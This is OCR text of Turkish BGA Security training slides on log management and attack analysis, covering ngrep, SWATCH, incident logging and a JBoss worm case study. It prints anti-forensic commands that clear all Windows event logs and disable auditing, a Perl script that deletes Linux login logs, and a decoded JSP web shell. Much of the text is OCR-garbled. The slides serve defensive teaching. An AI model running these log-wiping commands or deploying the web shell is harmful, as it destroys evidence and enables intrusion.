* Agda sifresiz protokolleri kullananlarin gizli biglileri yakalanabilir.

* Belirlenen ozel kelimeler ag trafiginde gectiginde IP adresi engellemesi, ya da uyari
sistemine mesaj gondermesi saglanabilir

o Ek bilesenlerle.
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Ag Trafiginde Kelime Arama BGA | SOME

Log Yonetimi ve Saldiri Analizi

* ngrep ile ag trafiginde fenerbahce gecen kelimelerin yakalanmasi

#ingrep -q fenerbahce tcp port 80

ﬂ/
i
'o’o ’
A L)
‘i ('
- I |
y
\\\” 7

@BGASecurity



ngrep ile SMTP Analizi BGA | SOME

Log Yonetimi ve Saldiri Analizi

[root@mail ~]# ngrep -q-i "rept to: | mail from:' tcp port 25
interface:rl0 (111.111.111.11/255.255.255.248)
filter: (ip or ip6) and ( tcp port 25 )
match: rcpt to: | mail from:
T213.154,.215.92:4257 -> 80.93.212.86:25 [AP]
MAILFROM: <soonmantse@barbara.com>..RCPTTO: <robertgray@asninvest.ru=..DATA..
T87.212.128.168:1284 -> 80.93.212.86:25 [AP]
RCPTTO: <rich_vip@asninvest.ru>..
T77.123.113.49:14892 -> 80.93.212.86:25 [AP]

MAILFROM: <sphsophie@hotmail.com>_.RCPTTO: <salat-atfonya@asninvest.ru>_..DATA.. A
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HTTP Portundan Yapilan SSH BGA | SOME

Log Yonetimi ve Saldiri Analizi

* HTTP portundan neden SSH yapilir?

# ngrep -4 -1 SSH tcp port 80
TAtEerT aces rlg (IIL.ITI1. I . II7255.255.2585.248)
filter: (ip or ipd) and ¢ tcp port 80 )

match: SsH

T 80.93.212.80:80 —» 212.252.168.235:44020 [AP]
SSH-Z. U-0penssH_4. apl FreeBSD-Z200011710,

T B80.593.212.80:80 —» 212.252.168.235:44034 [AP]
SSH-Z. U-0penssH_4. apl FreeBSD-2006011710,

T 212.252.168.235:44034 -» B0.93.212.86:80 [AP]
SSH-Z. U-0pensSsH_53. O,

T

B0.93.212.860:80 —» 212.252.168.235:44034 [AP.
....... Ao D=2, ... ~diTPTe-hel Iman-group-exchange-zha2ho, diftie-hel Iman-group-exchange-shal, dittie-hel Iman

 Bu komutu biraz daha gelistirip SSH portu harici herhangi bir porttan SSH

kullanmaya calisanlari izleyebilirsiniz.
“* ngrep —q —i ‘*SSH’ not tcp port 22
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ngrep ‘i IDS Olarak Kullanma BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Amac: HTTP portu Uzerinden yapilan fakat http olmayan baglantilari izleme

tngrep-q-W byline -v"AGET|POST|PUT|HTTP/1.[01]" tcp port 80

filter: (ip orip6) and | tcp port 80 and dsthost 80.93.212.86 |
don't match: AGET|POST|PUT|HTTP/1.[01]

T212.252.168.253:23885 ->80.93.212.86:80 [AP]
SaH-2.
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ngrep Kisitlamalari BGA | SOME

Log Yonetimi ve Saldiri Analizi

* ngrep ve sifreli protokoller
o ngrep normalde sifreli protokolleri inceleyemez.
o Inceleyebilmesiicin sifreli protokollerin bir sekilde desifre edilmesi gerekir
* Parcalanmis Paketler ve ngrep
o Dogasi geregi ngrep her gelen paketi ayri degerlendirir ve parcalanmis paketleri
anlamaz ve yazacaginiz duzenli ifadeler fragmented paketlerde ise yaramaz.
* Yuksek trafik
o ngrep yuksek bant genisligine sahip aglarda paket kaybina sebep olabilir ve
vakalama islemlerini saglikl gerceklestiremez.
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ngrep Onemli Parametreler BGA | SOME

Log Yonetimi ve Saldiri Analizi

 -W Byline secenegi ile ciktilarin temiz formatta olmasi saglanir
 -g parametresiile ekranda bulunamayan her paket icin # basmamasi saglanir
 -d parametresiile hangi ag arabiriminin dinlenecegi belirtilir.

root@bt:/var/log/apache2# ngrep -d ethO -W Byline fenerbahce -q
interface: ethO (85.95.238.0/255.255.255.0)
match: fenerbahce

T 94.55.164.119:63620 -> 85.95.238.172:80 [AP]
GET / fenerbahce HTTP71.0.
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Log Dosyalarina Aktif Izleme 3GA | SOME

Log Yonetimi ve Saldiri Analizi

 Kullandigimiz sistemlerde calisan cesitli servisler, surecler her gun binlerce satir
log uretmektedir.

* Pekibu log dosyalarini inceleyebiliyor muyuz

* Onemli bir uyarinin gozden kacmadigina nasil emin oluruz?

 Ekraniizleyen iki tane glivenlik gorevlisi uyuyor ***
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SWATCH Aktif Log Inceleme

Log Yonetimi ve Saldiri Analizi

BGA | SOME

» SWATCH, calisan sistemlerle ilgili yapilan loglama isini aktif degerlendirmek amaci
ile kullanilan bir aractir.

 Log dosyalarimizda belirledigimiz tipte string gordugunde istege bagli olarak mail
gonderimi yapan ya da aksiyon alabilen(sistemde komut calistirma gibi)bir yapiya
sahiptir.

* (Cesitli performans ve esneklik problemleri vardir.

* Yogun log biriktiren ortamlarda logsurfer kullanilabilir
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Ornek SWATCH Kullanimi : Disk Alani BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Ornek: Sistem diskinin doldugu ile ilgili aktif uyari almak istedigimizi dustinelim.
* Bunun icin ekteki satirlari swatchrc dosyasina kaydedip uygun parametrelerle
swatch’i calistirmamiz yeterlidir.

watchfor /file system full/ mail addresses=huzeyfe\@Iifeoverip.net, subject=Diskde
yer kalmadi Acil!

#tswatch -c /usr/local/etc/swatchrc -t /var/log/messages
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Ornek SWATCH Kullanimi : SSH

Log Yonetimi ve Saldiri Analizi

BGA | SOME

e Sisteme yapilan SSH giris deneyimlerinden haberdar olmak icin:

watchfor /Failed password/ mail addresses=huzeyfe\@lifeoverip.net,
subject=Sisteme giris deneyimi

* Belirli tipteki stringleri haric tutmak icin ignore tanimi kullanilir.

ignore /Failed password for root from 80.93.212.86/ ignore tanimlarini swatchrc
dosyasinin en ustune yazmakda fayda var.

 Bodylece ighore etmek istedigimiz icerikler alttaki satirlarda isleme
sokulmayacaktir.
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Saldiri Analizinde Loglamanin Onemi BGA | SOME

Log Yonetimi ve Saldiri Analizi

 @QuUnumuz siber saldirilari analizinde en onemli eksiklik sistemler Uzerinde yeterl

loglamanin gerceklestiriimemesidir.

* Tam manasiyla loglanan bir sisteme yonelik yapilacak siber saldiri en ince detayina

kadar belirlenebilir.

o Saldirganin profesyonel oldugu durumlarda loglardan geriye dogru saldirgani
bulmak imkansiza yakindir

o Proxy, ip spoofing ve hacklenmis sunucu kullanimi nedeniyle.
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Saldiri Analizinde Gerekecek Loglar

Log Yonetimi ve Saldiri Analizi

@BGASecurity

Distan iceri ve icten disari dogru tum bilesenler ortaya

citkarilarak loglari incelenmelidir.

En dista guvenlik duvari ve IPS, onun arkasinda
sunucular ve en son asamada veritabani ve
uygulamalara ait loglarin analiz asamasinda incelenmesi

gereklidir.

BGA | SOME
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Dis Kaynakli Saldiri ve Log Analizi

Log Yonetimi ve Saldiri Analizi

@BGASecurity

Internet Uzerinden gelecek bir saldirinin tam
manasi ile acikhga kavusturulmasi (analiz
edilmesi) icin asagidaki bilesenlere ait loglarin
tutulmus olmasi gerekmektedir.

Router—IPS--Firewall-DLP--WAF—Sunucu—
Web Sunucu yazilimi(Apache, 11S..) loglari
Load balancer

Web Uygulama Guvenlik Duvari Loglar
Diger sunucu loglari

BGA | SOME
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Kotu Durum Senaryosu BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Musteri talebi: Internet Uzerinde veritabanimizdan alinan bazi musteri bilgileri
dolasiyor. Bunlari kimlerin aldigint bulmanizi istiyoruz.

* BGA-IR: Web sunucu loglari, guvenlik duvari ve varsa WAF/IPS loglarini alabilir
miyiz?

* Musteri: Web sunucu loglari 30 gun geriye dogru tutuluyor, sadece elimizde
guvenlik duvari loglari var.

* Guvenlik duvari log formati (Kaynak-1P-Hedef-IP-KaynakPortHedefPort)

* Bu bilgiden verilerin nasil sizdigi bilgisi ¢cikmaz

e CozUm?
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Ic Kaynakh Saldiri ve Log Analizi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Yerel ag Uzerinden islenmis bir saldirinin analizi icin en az asagidaki bilesenlere ait
loglara ihtiyac duyulacaktir.

* Firewall loglari - _

* Switch loglari A +

* AccessPoint loglari (Wifi kullaniliyorsa) N
* Igerik filtreleme loglar e -

255.255.255.0

* DHCP loglar K
e AD oturum acma loglari ’
* Varsa IDS(Saldiri Tespit Sistemi) loglari

192.168.1.10 192.168.1.11 102.168.1.12 192.168.1.13
255.255.255.0 255.255.255.0 255.255.255.0 255.255.255.0
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MITM Denemesi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Yerel ag da gerceklestirilecek L2 seviyeyi araya girme (MITM) saldirilarinda
Arpwatch, Snort veya benzeri IDS yazilimlari asagidaki gibi log Uretecektir.

* Temel mantik olarak “daha once kaydettigi veritabanindaki ip-mac bilesenlerinden
farkli bir deger gormesi durumunda” uyari ver seklinde calisir.

arpwatch: ethernet mismatch 192.168.1.5 €8:40:f2:a4:be:75 (bc:5:f4:03:36:56) eth1
arpwatch: ethernet mismatch 192.168.1.4 e€8:40:f2:a4:be:75 (a0:b3:cc:e3:f3:9b) eth1
arpwatch: ethernet mismatch 192.168.1.2 €8:40:f2:a4:be: 75 (a0:b3:cc:e3:f4:26) eth
arpwatch: flip flop 192.168.1.30 bc:5f:f4:03:4a:e8 (e8:40:f2:a4:be:75) eth1

arpwatch: flip flop 192.168.1.157 00:25:22:9¢e:40:ef (e8:40:f2:a4:be:75) eth1
arpwatch: flip flop 192.168.1.4 a0:b3:cc:e3:f3:9b (e8:40:f2:a4:be:75) eth1

arpwatch: flip flop 192.168.1.5 bc:5:f4:03:36:56 (e8:40:f2:a4:be:75) eth1

arpwatch: flip flop 192.168.1.8 €8:39:35:11:2d:19 (e8:40:f2:a4:be: 75) eth1
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Loglarin Silinme Riski BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Profesyonel saldirganlar her zaman girdikleri sistemden cikarken arkada iz
birakmamak icin loglari silerler

* Sadece erisim yaptiklari sistemlerin loglarini silebilirler

* Loglarin silinme riskine karsi logun uretildigi sistemin haricinde tamamen pasif, dis
aglardan ulasilamaz (ic agdan ulasilabilir) bir sisteme yonlendirilmis olmasi

gereklidir.
* Sisteme sizan kisi merkeze gidecek loglarin gitmesini de engelleyebilir.

o Filmlerde kameranin onune sabit bir resmin konulmasi gibi...
* Silinen loglar geri getirilebilir mi?

y—L
N
'o.o N
4 mun O
| 25
N\
.’,”l’

@BGASecurity



Log Yonetimi Sunucusu Guvenligi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Genellikle log yonetimi ve korelasyon sistemleri Linux tabanlidir ve acik kaynak
kodlu projelerden bilesen kullanirla (Apache, Tomcat, Php vs)

* Her ne kadar sikilastirilmis olsa da zaman zaman bu bilesenlerde cikabilecek
gUvenlik zafiyetleri bu sistemleri dogrudan etkilemektedir.

* Ontanimli veya gizli (hidden) hesap kullanimi
* MBSA taramasi, Nessus taramasi
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Ornek Acikhklar

Log Yonetimi ve Saldiri Analizi

For Public Release 2006 January 11 16:00 UTC (GMT)

Summary

The Cisco Security Monitoring, Analysis and Response System (CS-MARS) software contains a default password for an
undocumented administrative account. This password is set, without any user intervention, during installation of the software u
by CS-MARS appliances, and is the same in all installations of the product. Users must be authenticated to the CS-MARS
command line in order to utilize the default password to access the administrative account.

Software version 4.1.2 and earlier of CS-MARS are affected by this vulnerability. Customers running software version 4.1.3 or

higher can mitigate the effects of this vulnerability by applying the workaround listed in this advisory. Cisco has made free sofh
available to address this vulnerability for affected customers.

This advisory is posted at http:/tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20060111-mars.

[Expand all sections] [Collapse all sections]

CVE ID: CVE-2013-5463

DESCRIPTION: It is possible to bypass protections in the QRadar WinCollect agent, by using a injection based attack. Using such an attack it
is possible to inject a malicious dll or configuration into the agent, which can affect the security of the host it is installed on.

The attack requires network access, requires some specialized knowledge or techniques and does not require authentication. An exploit can
impact the integrity of the system, availability of the system and confidentiality of information stored within the system.

CVSS:

CVSS Base Score: 9.3

CVSS Temporal Score: See htip://xforce.iss.net/xforce/xfdb/88361 for the current score
CVSS Environmental Score*: Undefined

CVSS Vector: (AV:N/AC:M/Au:N/C:C/I:C/A:C)

AFFECT PRODUCTS:
IBM QRadar Security Information and Event Manager (SIEM) WinCollect Agent prior to v7.1.1

REMEDIATION:

The vulnerability is fixed in the following versions of QRadar SIEM:
- QRadar SIEM WinCollect Agent 7.1.1 (7.1.1.569824-setup.exe or above)

@BGASecurity

BGA | SOME

HP ArcSight Connector Appliance and Logger Vulnerabilities

Published: 2013-02-17
Last Updated: 2013-02-17
00:22:32 UTC

by Guy Bruneau (Version: 1)

0 comment(s)

O™ F Recommend O ¥ Tweet
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If you are using HP ArcSight Connector Appliance (v6.3 and earlier) and Logger (v5.2 and earlier), some
potential security vulnerabilities have been identified which could be remotely exploited to allow information
disclosure, command injection and cross-site scripting (XSS).

HP recommend to contact support to request the current updates for ArcSight Connector Appliance (v6.4) and
ArcSight Logger (v5.3) to resolve these issues. Additional information available here.

[1] http://h20565.www2.http.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docld=emr_na-
c03606700-1&ac.admitted=1361054958795.876444892.492883150
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Geri Getirilemez Silme Islemi

Log Yonetimi ve Saldiri Analizi
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Geri getirilemez kavrami

Linux shred komutu
o 15 kere silme ve Uzerine yazma
o Komple diski silmek icin

» [dev/hda, /dev/sda parametre olarak verilmeli

Yeni nesil disklerde (SSD gibi) Silinen dosyalarin geri
getirilmesi Imkansiza yakindr.

Sistemde silme komutlarinin olmamasi ve sisteme
vuklenmesine izin verilmemeli.

e N e T w

root@bt: *# shred -n 15 ozel dosya -v

shred:
shred.:
shred:
shred:
shred:
shred.:
shred:
shred:
shred:
shred.:
shred:
shred:
shred:
shred.:
shred.:
rooti@bt:

ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:
ozel dosya:

*#ll

pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass
pass

1/15
2/15
3/15
4/15
5/15
6/15
7/15
8/15
9/15
10/15
11/15
12/15
13/15
14/15
15/15

BGA | SOME

(random) . ..
(924924) ...
(bodbad) . ..
(ELEEE£LL) . ..
(random) . ..
(000000) ...
(249249) ...
(random) . ..
(edbedbk) ...

LIS
TS
uge :"‘
y 3
Q&;’
.’,”"

(aaaaaa) ...
(492492) ...
(random) . ..
(dbedbe) . ..

(555EK5) . ..
(random) . ..




Windows Loglarini Silme

Log Yonetimi ve Saldiri Analizi
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wevtutil cl <LogName> [/bu: <backup file name>]

wevututil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:UALUE [/OPTION:UALUE]

Commands:

| enum-logs

| get-log

| set-log

| enum-publishers
| get-publisher
I

I

I

install-manifest
uninstall-manifest
query-events

gli | get-log-info

epl | export-log

al | archive-log

cl | clear-log

List log names.

Get log configuration information.

Modify configuration of a log.

List event publishers.

Get publisher configuration information.

Install event publishers and logs from manifest.

Uninstall event publishers and logs from manifest.

Query events from a log or log file.
Get log status information.

Export a log.

Archive an exported log.

Clear a log.

for /f %x in (‘wevtutil el') do wevtutil cl "%x"

wevtutil el | foreach { wevtutil cl S_}

BGA | SOME
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Windows Audit Log Kapama BGA | SOME

Log Yonetimi ve Saldiri Analizi

Auditpol.exe komut satiri aracini kullanarak, istediginiz 6zel denetim ilkesi ayarlari yapilandirilabilir.

> auditpol. exe /disable

auditpol [\\computer] [/enable | /disable]
[/category:type] [/category:type] ...

n changed succegef

auditpol /set /subcategory:"logon"
/success:enable /failure:enable

L BGA
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Linux Loglarinin Silinmesi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Her linux'da log dosyalarinin yerleri farkl

huzeyfe@bt :/var/log$ 1s

O I ol b| I me kted | I 3proxy dpkg.log.2. mail.log.2.gz pycentral.log
dpkg.log.3. mail.log.3.gz rinetd. Log
dpkg.log.4. 1l.log.4. Lnetd. Log.1

» Ortak log dosyalari da vardirr. . dpkg.10g.5.gz mailmarn rinetd. og. 2

dpkg.log.b. mail.warn.l rinetd. Log.3
dpkg.log.?. mail.warn.2.gz rinetd. Log.4
dpkg.log.8. mail.warn.3.gz rinetd. Log.5
dpkg.log.9. mail.warn.4.gz rinetd. Log.b
faillog messages rinetd. log.7

* Genellikle /var/log dizini sisteme ait tim

loglarin toplandigi ortak ana dizindir.

fontconfig.

fsck

1nstal ler

kern
kern
kern
kern
kern

. log

.log.1
.log.2.
.log.3.
.log.4.

lLandscape
lastlog
Lpr.log

messages
messages
messages
messages

1

2.
.3.
4.

gz
gz
gz

msfupdate.log

mysql

mysql.
mysql.
mysql.
mysql.
mysql.

err
log

log.1.gz
log.2.gz
log.3.gz

samba

snort

syslog
syslog.
syslog.Z.
syslog. 3.
syslog.4,.
syslog.5.
syslog.b.
syslog.7.
tor

mail.err mysql.log.4.gz udev

mail.err.1l mysql.log.5.gz ufw.log

mail.err.2, mysql.log.6.gz user, log
dist-upgrade mail.err,3, mysql. user.log.1
amesg mail.err.4, user,log.Z2.gz
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Linux Log Silme Scripti

Log Yonetimi ve Saldiri Analizi
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==

ern 'rm -rf fvar/log/lastlog’;
em “echo -e \"\\U33L01;3/mL™J/varflog/lastlog -erased Ok\"\yn";

L
LA LA
i

- [

else

==

ystem "echo -e \"\\033[01;31m[*]/var/log/lastlog - Mo such file or directory\\033[01;37m\"\n";

I-....-l m

if{ -e "/var/log/wtmp" )

system ‘'rm -rf /var/log/wtmp’;

system "echo -e \"\\033[01;37m[*]/var/log/wtmp -erased Ok\"\n";
else

ystem "echo -e \\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";

If( -e "fetc/wtmp" ]

L4

==

tem ‘'rm -rf Jetc/wtmp’;
tem "echo -e \"“\\033[01;37m[*|/etc/wtmp -erased Ok\"\n";

3=
'S

(=]
(=]
i
J

else

==

n

ystem "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";

et 0

If( -e "/var/runfutmp” )

system ‘'rm -rf /wvar/run/utmp’;

system "echo -e \"\\033[01;37m[*]/var/run/utmp -erased Ok\"\n";

ystem "echo -e \\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";

if( -e "Jetc/utmp" ] ’;;' .‘ "o\
P ,' “ ‘ W

system 'rm -rf fetc/utmp’; ( i :".'.:

system "echo -e \"\\033[01;37m[*]/etc/utmp -erased Ok\"\n"; _:\‘:;

BGA | SOME
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Sahte Log Uretimi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log analizi yaparken hangi tip loglarin sahte olabilecegi konusunda bilgi sahibi
olmak gerekir.

* HTTP icin her baslik bilgisine guvenilmez!

* SMTP icin hemen hemen cogu baslik bilgisi sahte olarak tretilebilir.
o Son Received-By satiri haric

e HTTP icin X-forward-for gibi baslik bilgilerine guvenilmez
o X ile baslayan baslik bilgileri son kullanici tarafindan degistirilebilir.
o Hotmail X-Originating-IP basligl 6rnegi

 DDoS saldirilarinda kaynaga guvenilmez
o Uclu el sikisma gerektirmeyen saldirilar icin.
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Log Forensics BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Sunucu ve veritabani sistemlere yapilan saldirilarda loglar silinmisse neler yapilabilir?
* Disk tzerinden loglarin geri getirilmesi
* Memory Uzerinden loglarin geri getirilmesi

* Ag ve glivenlik cihazlari Uzerinden gerceklestirilmis ek kayit/loglarin incelenmesi
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Ag Sistemlerinde Alinan Loglar BGA | SOME

Log Yonetimi ve Saldiri Analizi

n

Open Source Hacking: Revealing Metasploit's

ystern 'rm -rf /var/log/lastlog’;
M . d d system "echo -e \"\\U33[01;3/m[~]/varflog/lastlog -erased Ok\"\n";
else
July 29, 2009 One of the most devastating aspects of the open source metasploit vulnerability e e = TR RS [T T N | Rt e R T e e R i ey R [T b
By Sean Michael testing framework is meterpreter, which exploits a host machine in memory . +fvarflog/whmp® )
Kerner without leaving a trace. Meterpreter is supposed to be undetectable by IPS { '
. i . oy . . . system 'rm -rf /var/log/wtmp';
Submit Feedback » | systems making it d|fﬁ+:.ul’.[ if not |m9055|ble for someone to know what an attacker cystem "echo -e \"\033[01:37m[*}/var/log/wtmp -erased Ok\"\n":
More by Author » may have done to the victims" machine.

SR
n
(D

tem "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory'\\033[01;37m\"\n";

-
i

At the Black Hat secunty conference in Las Vegas, Mandiant secunty researchers Peter Silberman and
oteve Davis are releasing a new forensic framework on Wednesday that will make it possible to detect
whether or not a host was hit by Metapsloit's meterpreter. The new tool could change the game when it
comes to Metasploit-based attacks that previously could not be identified on the target machine.

Dl [

—
=

-~

-e "fetc/wtmp" )

a
II-
=)

rstem 'rm -rf fetc/wtmp';
ystem "echo -e \"\033[01;37m[*|/etc/wtmp -erased Ok\"\n";

-

45}

(D e
n
(D

"Metasploit's meterpreter has been around since 2004 and it's a memaory resident host exploitation

"ok . - . . . |5 - Tl _ I'||"I'|I I'|| ; . E 3 II|II I||II 2 - _ S — - 'II|I.II|I. F ? - I'||."I'||. "F
module and because it's memary resident it breaks traditional disk forensics and the attacker leave no ystem "echo -e \'\1033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n

L A

trace of the attack on the disk,” Silberman said. "Ourtalk 1s how we can use memory forensics to if( -e "/var/run/utmp” )
reconstruct what an attacker has done with meterpreter to give analysts some idea of what has system 'tm -rf /var/run/utmp';
DEEUFFEd." system "echo -e \"“\\033[01;37m[*]/var/run/utmp -erased Ok\"\n";

iy
b

else

In concert with the talk, the Mandiant researchers will release an open source tool called the Metasploit ctem "echo e \M\\033[01:31m[1/var/run/utmp - No such file or directory\\033[01:37

) , L ] system "echo -e "\ :31m[*])/var/runfutmp - No such file or directory', *37mA\"\n";
Forensic Framework. The goal of the tool i1s to make the undetectable, detectable. Metasploit itself is an }
open source vulnerability testing framework, but with meterpreter it has the stealth to evade most ( -e "/etc/utmp® )

common secunty exploit detection mechanism. system 'rm -rf /etc/utmp’;
n "echo -e Y"\\033[01;37m[*])/etc/utmp -erased Ok\"\n";

_ A: SECURITY
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Memory (Bellek) Analizi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Son vyillarda ihtiyac haline gelmistir?
* Neden bellek analizi

o Saldirgan loglari silmis olabilir

o Disk uzerindeki dosyalar geri getirilmeyecek sekilde silinmis olabilir.

o Bellek baska bir proses dolduruncaya kadar eski proseslere ait bilgileri tutar
* Memory analizi icin ¢esitli yazilimlar kullanilmaktadir:

o Volatility — Memory Forensics Framework

o Windows icin Process Explorer

o Linuxicin strings komutu (cok basit islemler icin)
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Linux Bellek Analizi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Alinan memory imaji duzensiz bir ikili dosyadir

o Icerisinde tim veriler ikili olarak tutulur

* Memdump ile dosyaya aktarilan hafiza bilgilerini string komutu ve grep komutunu

kullanarak incelenebilir.

#istrings FDUMP |grep netsec
nhetsec@192.168.1.107
netsec

sshd: netsec@pts/6

netsec

USER=netsec
MAIL=/var/mail/netsec
HOME=/home/netsec
LOGNAME=netsec

/var/mail/netsec (((( :
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Ornek Saldiri Analizi BGA | SOME

Log Yonetimi ve Saldiri Analizi

o |ki farkli musteri ayni givenlik problemi
o Hedef: JBOSS — Application server

* Ayni guvenlik ihlal olayinda iki farkl sonuc: Temel sebep?
o Birinde loglar eksik
o Digerinde loglar tamam
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1. Musteri Olay Sunumu BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Incelemeler sonucu xyz sisteminde calisan Jboss uygulamasindaki guvenlik zafiyetini
istismar eden bir saldirganin sisteme Jboss worm olarak adlandirilan kotucul yazilim

vukleyerek sistemi uzaktan yonetmeye basladigl ve sisteme eristikten bir sonraki gun
Amerika posta servisi ve “Navy Network Information Center (NNIC)” e DDoS saldirisinda

kullandigi belirlenmistir.

* Olay DDoS saldirisinin musteri networkunu sikintiya sokmasi ve guvenlik duvarinin
loglarinin analizi sonucunda ortaya ¢cikmistir.
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On Aciklama BGA | SOME

Log Yonetimi ve Saldiri Analizi

Incelenen sistem Uzerinde Jboss uygulamasina ait erisim loglari tutulmamasi,
gUvenlik duvari Uzerinde ilgili saatlerde bu hedefe yonelik saldiri logunun olmamasi
ve saldiri yapilan sistemin saldiridan sonra reboot edilmesi (memory dump
vapilamamistir) nedeniyle saldirganin(saldirganlar) ip adresini bulunamamistir.
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Kotu Yazilimin Calisma Mantigi BGA | SOME

Log Yonetimi ve Saldiri Analizi

IRC Se'fver

Compromised
Linux computer
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Timeline Cikartmak

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Saldirganin sisteme erisim ve zararli yazilimlari yikleme sireci incelenen loglardan asagidaki gibi cikariimistir.
* Buna gore saldirgan ilk olarak 18 Ekim 2011 tarihinde 05:35 sisteme girerek zararh yazilimlari yuklemistir.

e Ardindan 18 Aralik 2011 14:47’de tekrar sisteme baglanarak zararli programlari calistirmis ve kurulumu

tamamlamistir
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TimelLine BGA | SOME

Log Yonetimi ve Saldiri Analizi

Elimizde incelenen sisteme ait memory dump bilgisi olmadigi icin saldirganin sistem uzerinde

calistirdigl komutlarin tamami alinamamistir.

(((( SECURITY
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Cevabi Aranan Sorular BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Nasil ve hangi yontem kullanarak saldiri gerceklestirilmis?
 Hangi hedef sistemlere yonelik gerceklestirilmis?

 Kim gerceklestirmis?

e Saldirinin XYZ’e 6zel mi genel mi?

e Saldiri nasil anlasildi?

e Saldiri sonrasi ele gecirilen sistemler ne amacla kullanilmistir?
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Saldiri Yontemi BGA | SOME

Log Yonetimi ve Saldiri Analizi

e Saldir 2010 yilinda yayinlanmis bilinen bir givenlik zafiyetini(JBOSS Authentication Bypass)
istismar etmektedir.
* Saldirida kullanilan araclara bakarak saldirinin otomatize olarak gerceklestirildigi soylenebilir.

 Google’da yapilacak arastirmalar saldirinin genel mi 6zel mi oldugu konusunda bilgi verebilir.

ﬂ/

N
'o’o B

& uun L

‘ ‘(“‘

- y 4

y
\\\"””'

@BGASecurity



Saldiri Hedefi BGA | SOME

Log Yonetimi ve Saldiri Analizi

IPS, DNS, Firewall ve tum Jboss uygulama sunucusu loglari incelenmeden hangi

sistemlere yonelik saldiri gerceklestirildigi ve sisteme ilk giris noktasi belirlenemez.
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Saldirgan IP Adresi BGA | SOME

Log Yonetimi ve Saldiri Analizi

IPS, DNS, Firewall ve tum Jboss uygulama sunucusu loglari incelenmeden hangi

sistemlere yonelik saldiri gerceklestirildigi ve sisteme ilk giris noktasi belirlenemez.
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Saldiri Sonrasi Aktiviteler

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Saldirinin basarili olmasinin ardindan hacklenen sistem bir IRC kanalina baglanarak

gelecek komutlari calistirmaya baslamaktadir.

 Simdiye kadar edinilen bilgi ve analizlerle DDoS amach kullanildigi ve baska sistemlere de

bulastirmak icin tarama yaptigl saptanmistir.

* Firma-1 icin yapilan incelemelerde Amerikan Posta Servisi ve “Navy Network Information

Center (NNIC)” e yonelik DDoS saldirisi amaclh kullaniimis oldugu belirlenmistir.
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Guvenlik Duvari Loglar BGA | SOME

Log Yonetimi ve Saldiri Analizi
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Kotucul Yazillm Komuta Merkezi BGA | SOME

Log Yonetimi ve Saldiri Analizi
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Guvenlik Sistemlerini Atlatma : Encoding

Log Yonetimi ve Saldiri Analizi

BGA | SOME

Sisteme bulastirilan zararli yazilim guvenlik sistemlerini atlatmak icin URL encoding tekni
kullanmaktadir.

<@auto decode 0>=%3c%25%40%20%70%61%67%65%20%609%6d%70 &
Fef%T2%T4%3d%22%0a%01% To%01%2e%T70%74%00%%0ct2et2atichba
30l%T6e%61%2e%00%60f%2e%2a%22%25%3e%20%3c%25%20%25%3%20
$3ck48%24%4db4ct et 3ct 42545445 309%3e%20%3cH40%4£%52%4d
520%4d%450%04%48%4f%44%3d%22%4T7%45%504%22%20%42%41%4d%45
F3d%22%63%0E50d%0db0o%0etTa4%LT3%22%20%41%43%54%409%4F%4e
23d%22%22%3e%20%3c540%4e%00%55%24%20%54%50%50%45%3d%22
FT4%00%T8%T4322%20%4e%41%4dP40%3db 2% 03000 % Rgbilid RENED
374%22%3e%20%3c%40%4e%50%05%54%20%54%50%50%45%3d%22%73
T 0%02%0d%00% T4%22%20%00%41%4c% 0054 0%3d%22%523%b03%be%bd
322%3e%20%3ct2E%4054£%52%4d%3e%20%3c%T0%T2%63%3e%20%3c
F20%20%00%00%20%28%T2%0 2% T1%To0%62%73%T74%2e%0T7%03%T74%30
Tel%T2%6l%0d%eo%T4%65%T2%28%22%03%0E%0db0d%00%0e%T4%22
F20%20%21%3d%20%6e%To%0ckbct20%20%Tb%20%6L%T5%T4%2:%70
2 72%60%0e%T4%0choebl8%22%43 0% 0d%ed%0lbbet0d4%3a%20%22
F20%2b%20%T2%60%T1%To%62%T73%T74%2e%6T%05%T74%50%61%72%61

Input 1924

%Ed%55%74%55%72%28%22%EE%Ef%Ed%Ed%EE%EE%TQ%EE%EE%EG%Eh:j

A E e~ A N e e P N O IR R SO E T PR A PR R IR AT I T IR0

—<%@ page import="java.util.¥,java.io.*"%> <% %> <HTML>
<BODY> <FOEM METHOD="GET" NAME="comments" ACTION="":
<INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit"
VALUE="Send"> </FORM> <pre> <% if
(request.getParameter ("comment™)
out.println("Command:
+ "<BR>"};
Funtime.getRuntime () .exec(request.getParameter ("comment™) )
; CutputStream o= = p.getCutputStream(); InputStream in =

Output (631

= pnull) {
" + request.getParameter ("comment"™)
Process p =

p.getInputStream(); DataInputStream dis = new
DataInputStream(in); String disr = dis.readLine(); while

( disr '= null ) { out.println(disr); disr =

dis.readLine(); %> «/pre> </BODY>»</HTML>

Clear Cleartags Clear Errors Swap Select
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Encoding / Decoding Ornegi BGA | SOME
